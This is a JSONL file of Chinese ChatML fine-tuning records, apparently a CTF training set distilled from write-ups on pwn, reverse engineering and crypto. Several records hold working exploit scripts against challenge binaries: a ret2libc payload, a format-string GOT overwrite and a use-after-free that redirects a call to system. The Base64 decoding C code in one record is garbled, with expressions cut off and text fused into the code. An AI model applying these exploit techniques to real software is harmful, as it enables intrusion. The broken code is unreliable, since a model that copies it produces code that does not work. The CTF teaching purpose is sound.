'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions'\n─────────────────────────────────────────────────[ BACKTRACE ]──...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 4, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::f8a1d26f3a6d712c", "original_line": 856, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "SSP Leak", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "f8a1d26f3a6d712c", "source_split": "train", "split": "train", "split_group_key": "097204023e7683a533a4e327", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-085d969706db19a743f4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《2025强网杯 Qclac》的“handleIntent”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：2025强网杯 Qclac / handleIntent\n关键词：expression、data、VIEW、intent、action、processDeeplinkExpression、data.getQueryParameter(\"expression\")、qiangcalc://calculate?expression=...、URI、URL\n蒸馏要点：\n- 检查`intent`是包含`data`（URI）并且`action`是`VIEW`。\n可用于训练的标准回答：\n##### handleIntent\n\n检查`intent`是包含`data`（URI）并且`action`是`VIEW`。从 URL 中读取查询参数`expression`，（`data.getQueryParameter(\"expression\")`）。若存在非空的`expression`，则交给`processDeeplinkExpression`处理。与 manifest 中的 deep link (`qiangcalc://calculate?expression=...`) 对应。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::45cba1939f5f971e", "original_line": 77, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "handleIntent", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "45cba1939f5f971e", "source_split": "validation", "split": "train", "split_group_key": "f2568cb454736fcfa25a73ba", "tags": ["ctf-method"], "title": "2025强网杯 Qclac", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-087d7a926da9140dd671", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Angr：Angr符号执行》中“State状态”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Angr：Angr符号执行》的“State状态”。\n语言/类型：python\n关联知识点：\n- Project 实际上只是将二进制文件加载进来了，要执行它，实际上是对 SimState 对象进行操作，它是程序的状态。\n- 要创建状态，需要使用 Project 对象中的 factory，它还可以用于创建模拟管理器和基本块，如下：\n- 预设状态有四种方式如下：\n- | 预设状态方式       | 描述                                                     |\n- | entry_state        | 初始化状态为程序运行到程序入口点处的状态                 |\n代码片段：\n```python\nstate=p.factory.entry_state()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::43374a2fbe45ca16", "original_line": 927, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "State状态", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "43374a2fbe45ca16", "source_split": "train", "split": "train", "split_group_key": "933c1cad369b1007ea22147f", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-08d29d54b72c9302cd1f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“动态解密法”？请用《SMC自修改代码》中的内容回答。", "role": "user"}, {"content": "1. 例题：2024 Newstar SMC\n2. 拿到附件，程序为 Linux 下的 ELF 文件，ida 反编译分析代码逻辑。\n3. 一眼丁真，发现程序调用了`mprotect`修改`encrypt`函数内存权限，判断可能存在 SMC。\n4. 然后程序通过`scanf`函数向变量`s`中输入字符串，长度要求必须为 28 字节。\n5. 之后的代码逻辑很明显就是通过循环异或对`encrypt`函数进行解密了。\n6. 这里我们对照着`encrypt`函数的情况来查看一下。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::bedcbab8618b877d", "original_line": 650, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "动态解密法", "source": "SMC自修改代码.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "bedcbab8618b877d", "source_split": "train", "split": "train", "split_group_key": "292a4cbc700654440a96e6c4", "tags": ["pwn", "reverse", "crypto", "ctf-method"], "title": "SMC自修改代码", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-08fdf563d66a937441c8", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“原理”？请用《Base64》中的内容回答。", "role": "user"}, {"content": "1. 下面我们通过将明文 `“abc”` 进行 base64 编码来讲解 base64 编码原理。\n2. 首先将明文每三个字节分为一组，每个字节 8bit，共 24bit。\n3. 将 24bit 划分为四组，每组 6bit，4 组共 24bit\n4. 将每组用 0 补齐为 8bit，4 组共 32bit。\n5. 黄色部分就是补齐的 0。\n6. 将补齐后的二进制数的十进制值作为编码表的下标获取编码表中的对应值。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::99caa8921020b63c", "original_line": 931, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "原理", "source": "Base64.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "99caa8921020b63c", "source_split": "train", "split": "train", "split_group_key": "bfdbf02ead3fdad093d76e4c", "tags": ["crypto"], "title": "Base64", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-09a980d8d9bc958d87c3", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pyc：pyc文件》中“列表”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pyc：pyc文件》的“列表”。\n关联知识点：\n- `BUILD_LIST`用于创建一个`list`。\n- 对应`k = [1,2]`。\n- 通过列表推导式（语法糖）构建列表：\n- 对应语句`a = [i+2 fo i in range(32)]`。\n代码片段：\n```\n0 LOAD_CONST   0 (1)\n2 LOAD_CONST   1 (2)\n4 BUILD_LIST   2\n6 STORE_NAME   0 (k)\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::8459159b221ba473", "original_line": 64, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "列表", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "8459159b221ba473", "source_split": "validation", "split": "train", "split_group_key": "27d21d384047658afaa5ded5", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-09edce4ca9e600fd5fcb", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“stdout”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“stdout”。\n关联知识点：\n- 设置 stdout 全缓冲机制，大小为 0x1000。\n- gift未初始化栈空间，所以栈内可 puts 出 libc。\n- vuln 内有 0x20 字节栈溢出。\n- 因为 vuln 函数返回时捕获更改寄存器内容的原因，控制 rip 到以下位置就可以拿到程序基地址。因为 write 是系统调用，所以即便设置全缓冲的情况下他仍然会直接输出。\n代码片段：\n```\nArch:     amd64\nRELRO:      Full RELRO\nStack:      No canary found\nNX:         NX enabled\nPIE:        PIE enabled\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::77aec03aeb89c97f", "original_line": 660, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "stdout", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "77aec03aeb89c97f", "source_split": "train", "split": "train", "split_group_key": "a070ba1225466f1fbe23cd24", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0a9a1458c444f7c26937", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[[NISACTF 2022]UAF]”部分，提炼一条适合 SFT 的中文技术讲解样本（第 3 段）。", "role": "user"}, {"content": "出处：Pwn：Stack / [[NISACTF 2022]UAF]（第 3 段）\n关键词：index、sla、def、page、str、edit、content、show、dele、add\n蒸馏要点：\n- def edit(index, content):\n- sla(b':', b'2')\n- sla(b'page', str(index))\n- sla(b'strings', content)\n- def show(index):\n- sla(b':', b'4')\n- def dele(index):\n可用于训练的标准回答：\ndef edit(index, content):\n\tsla(b':', b'2')\n\tsla(b'page', str(index))\n\tsla(b'strings', content)\n\ndef show(index):\n\tsla(b':', b'4')\n\tsla(b'page', str(index))\n\ndef dele(index):\n\tsla(b':', b'3')\n\tsla(b'page', str(index))\n\nadd() #index 0\ndele(0)\nadd() #index 1\nedit(1, b'sh\\x00\\x00' + p32(elf.sym['system']))\nshow(0)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::f2d8295b1d2d8063", "original_line": 790, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[[NISACTF 2022]UAF]", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "f2d8295b1d2d8063", "source_split": "train", "split": "train", "split_group_key": "d98523112522ee516aed41bd", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0b71b45e615e2e5e3c04", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“flag-market”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：Pwn：Stack / flag-market（第 1 段）\n关键词：lambda、data、format、malloc、fgets、text、num、FILE、flag、printf\n蒸馏要点：\n- scanf 写入 oflag 无限制。\n- 可以覆盖掉 format 字符串。\n- `printf`会打印`format`字符串，所以如果`format`字符串被覆盖掉就会产生格式化字符串漏洞。\n- 由于`memset`的存在将栈上的 flag 清空了，所以我们无法通过格式化字符串漏洞从栈上读取 flag。\n- 但是由于 I/O 类型的函数（如fopen、fgets）为了提高效率，会用到缓冲机制，这个缓冲机制通过调用 malloc 来实现的。\n- 使用`fopen`时在内部会调用`malloc`来开辟一片空间，这片空间中会存放一个叫`FILE`的结构体，该结构体用于管理文件的描述符、当前读写位置、是否发生了错误、指向缓冲区的指针。光有管理结构还不够，还需要一个地方来存放从文件里预读出来的数据。这个地方就是I/O缓冲区。\n- 当你的程序第一次尝试从文件读取数据时（例如，第一次调用`fgetc`或`fgets`），`_IO_FILE`的内部逻辑会检查自己是否有缓冲区。\n可用于训练的标准回答：\n### flag-market\n\n分析：\n\nscanf 写入 oflag 无限制。\n\n可以覆盖掉 format 字符串。\n\n`printf`会打印`format`字符串，所以如果`format`字符串被覆盖掉就会产生格式化字符串漏洞。\n\n思路：\n\n由于`memset`的存在将栈上的 flag 清空了，所以我们无法通过格式化字符串漏洞从栈上读取 flag。\n\n但是由于 I/O 类型的函数（如fopen、fgets）为了提高效率，会用到缓冲机制，这个缓冲机制通过调用 malloc 来实现的。\n\n使用`fopen`时在内部会调用`malloc`来开辟一片空间，这片空间中会存放一个叫`FILE`的结构体，该结构体用于管理文件的描述符、当前读写位置、是否发生了错误、指向缓冲区的指针。光有管理结构还不够，还需要一个地方来存放从文件里预读出来的数据。这个地方就是I/O缓冲区。\n\n- 当你的程序第一次尝试从文件读取数据时（例如，第一次调用`fgetc`或`fgets`），`_IO_FILE`的内部逻辑会检查自己是否有缓冲区。\n- 如果没有，它就会向内核申请一大块数据，即此时第二次调用了`malloc`。\n- 然后，就是读的操作了（它会发出一次系统调用如`read`），让内核一次性把数据从文件填充到这个新分配的缓冲区里。\n- 最后，读写函数会从这片缓冲区中操作数据。\n\n所以程序通过`fgets`读取的 flag 文件内容就存放在堆上。\n\n通过格式化字符串漏洞泄露堆地址，然后通过格式化字符串漏洞泄露堆上的 flag。\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::d5d17c7f3eb4b68f", "original_line": 67, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "flag-market", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "d5d17c7f3eb4b68f", "source_split": "validation", "split": "train", "split_group_key": "044051d041e0fe073ab9a046", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0c26e2e363a2e6329420", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[SWPUCTF 2023 秋季新生赛]ezlibc”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [SWPUCTF 2023 秋季新生赛]ezlibc\n关键词：p32、write、elf、libc、off、sym、base、SWPUCTF、gift、ELF\n可用于训练的标准回答：\n### [SWPUCTF 2023 秋季新生赛]ezlibc\n\n#ret2libc #write\n\n- exp\n\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\nlibc=ELF(\"./libc-2.31.so\")\ncontext.arch=\"i386\"\n\noff=20\nmain=elf.sym.main\nputs_plt=elf.plt.write\nputs_got=elf.got.write\n\npayload=b'a'*off+p32(puts_plt)+p32(main)+p32(1)+p32(puts_got)+p32(8)\ns(payload)\nru(b'byebye')\nwrite=u32(r(4))\nbase=write-libc.sym.write\n\nsys=libc.sym.system+base\nsh=0x0018b363+base\n\npay=b'a'*off+p32(sys)+p32(0)+p32(sh)\ns(pay)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::01f022103ece911d", "original_line": 653, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[SWPUCTF 2023 秋季新生赛]ezlibc", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "01f022103ece911d", "source_split": "train", "split": "train", "split_group_key": "0f890a7174215701bc7dabdd", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0c5c0bbef93bf799342a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“算法分析”？请用《Hash 类算法》中的内容回答。", "role": "user"}, {"content": "1. 通过 ida 的 findcrypt 插件我们可以直接查找到程序中的 Hash 常量来判断加密算法，但是这通常只对自己实现或静态链接`openssl`库才有作用。如果使用`openssl`链接库编译动态链接，那么 findcrypt 是找不到的。\n2. 也不能说找不到，当动态调试程序的时候使用 findcrypt 插件进行查找可以找到整个`openssl`链接库的常量。这样我们根本无法分析程序是哪个加密算法。\n3. 在使用动态链接的情况下，通常可以通过 ida 函数窗口的函数分析出加密算法。\n4. 看到下例中的`md5`字样，我们可以判断程序为`md5`加密算法。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::a218f1affd9d424c", "original_line": 672, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "算法分析", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "a218f1affd9d424c", "source_split": "train", "split": "train", "split_group_key": "9be2f98bd5b6e1236c900f7b", "tags": ["reverse", "crypto"], "title": "Hash 类算法", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0dac9cd3078bc398e6e0", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“rctf2019shellcoder”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“rctf2019shellcoder”。\n关联知识点：\n- 输出一段数据后，由`mmap`分配一段可读可写可执行的内存。之后向这块内存读取数据，然后执行这块内存中的代码。\n- 但是这里`read`只能读取 7 个字节的数据，无论是 getshell 还是 orw 都无法进行。\n- 可以写通过一段短的汇编代码将 shellcode 重新写入。通过`mov dl,100`将`rdx`设置为一个较大的值，而此时`rdi`是分配的内存，将`rdi`交互到`rsi`中，而且此时`rax`的值仍然是 0。\n- 所以执行 shellcode1 后寄存器的状态如下：\n代码片段：\n```\nrax=0\nrdi=0\nrsi=分配的内存\nrdx=100\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::e723927f6b82a9a0", "original_line": 12, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "rctf2019shellcoder", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "e723927f6b82a9a0", "source_split": "test", "split": "train", "split_group_key": "120693ef0655e82b07311538", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0e069dc413267f0b42a7", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“stdout”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 设置 stdout 全缓冲机制，大小为 0x1000。\n2. gift未初始化栈空间，所以栈内可 puts 出 libc。\n3. vuln 内有 0x20 字节栈溢出。\n4. 因为 vuln 函数返回时捕获更改寄存器内容的原因，控制 rip 到以下位置就可以拿到程序基地址。因为 write 是系统调用，所以即便设置全缓冲的情况下他仍然会直接输出。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::778df33aa251dfd5", "original_line": 817, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "stdout", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "778df33aa251dfd5", "source_split": "train", "split": "train", "split_group_key": "be473fdc24f918a97f205d4c", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0e2337238c700c364b53", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[watevrCTF 2019]Voting Machine 2”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[watevrCTF 2019]Voting Machine 2”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nsh=0x8420736\nfmtpay=b'a'*2+fmtstr_payload(8,{elf.got.puts:sh},numbwritten=2)\nr()\nsl(fmtpay)\ns(b'0')\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::231217344ef6c09f", "original_line": 797, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[watevrCTF 2019]Voting Machine 2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "231217344ef6c09f", "source_split": "train", "split": "train", "split_group_key": "b3bbfd063f0e586288e3cec8", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0e33945067594592f7ad", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Base64》的“代码实现”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Base64 / 代码实现\n关键词：unsigned、temp、base64、data、break、decode、const、memset、sizeof\n可用于训练的标准回答：\n### 代码实现\n\n```c\n//参数1：base64密文\n//参数2：解密后的明文\n\nint decode( const char * base64, unsigned char * data )\n{\n    int i, j;\n    //用于遍历base64编码表的变量\n    unsigned char k;\n\n    //用于存储遍历的字节\n    unsigned char temp[4];\n\n    //循环遍历base64字符串，一次遍历4个字节\n    for ( i = 0, j = 0; base64[i] != '\\0' ; i += 4 )\n    {\n\n        memset( temp, 0xFF, sizeof(temp) );\n        for ( k = 0 ; k > 4) & 0x03));\n\n        //如果第三个字节为=号填充符，就返回\n        if ( base64[i + 2] == '=' )\n            break;\n\t\t//将密文的第二个字符和第三个字符解码为原始数据的第二个字节\n        data[j++] = ((unsigned char)(((unsigned char)(temp[1] > 2) & 0x0F));\n\n        //如果第四个字节为=号填充符，就返回\n        if ( base64[i + 3] == '=' )\n            break;\n\n\t\t//将密文的第三个字符和第四个字符解码为原始数据的第三个字节\n        data[j++] = ((unsigned char)(((unsigned char)(temp[2] 注意：移位运算中左移 1 位等于乘以 2，右移 1 位等于除以 2。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d22eb6283b8ba6ff", "original_line": 642, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "代码实现", "source": "Base64.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d22eb6283b8ba6ff", "source_split": "train", "split": "train", "split_group_key": "eb66949eddb668dac4d01f59", "tags": ["crypto"], "title": "Base64", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
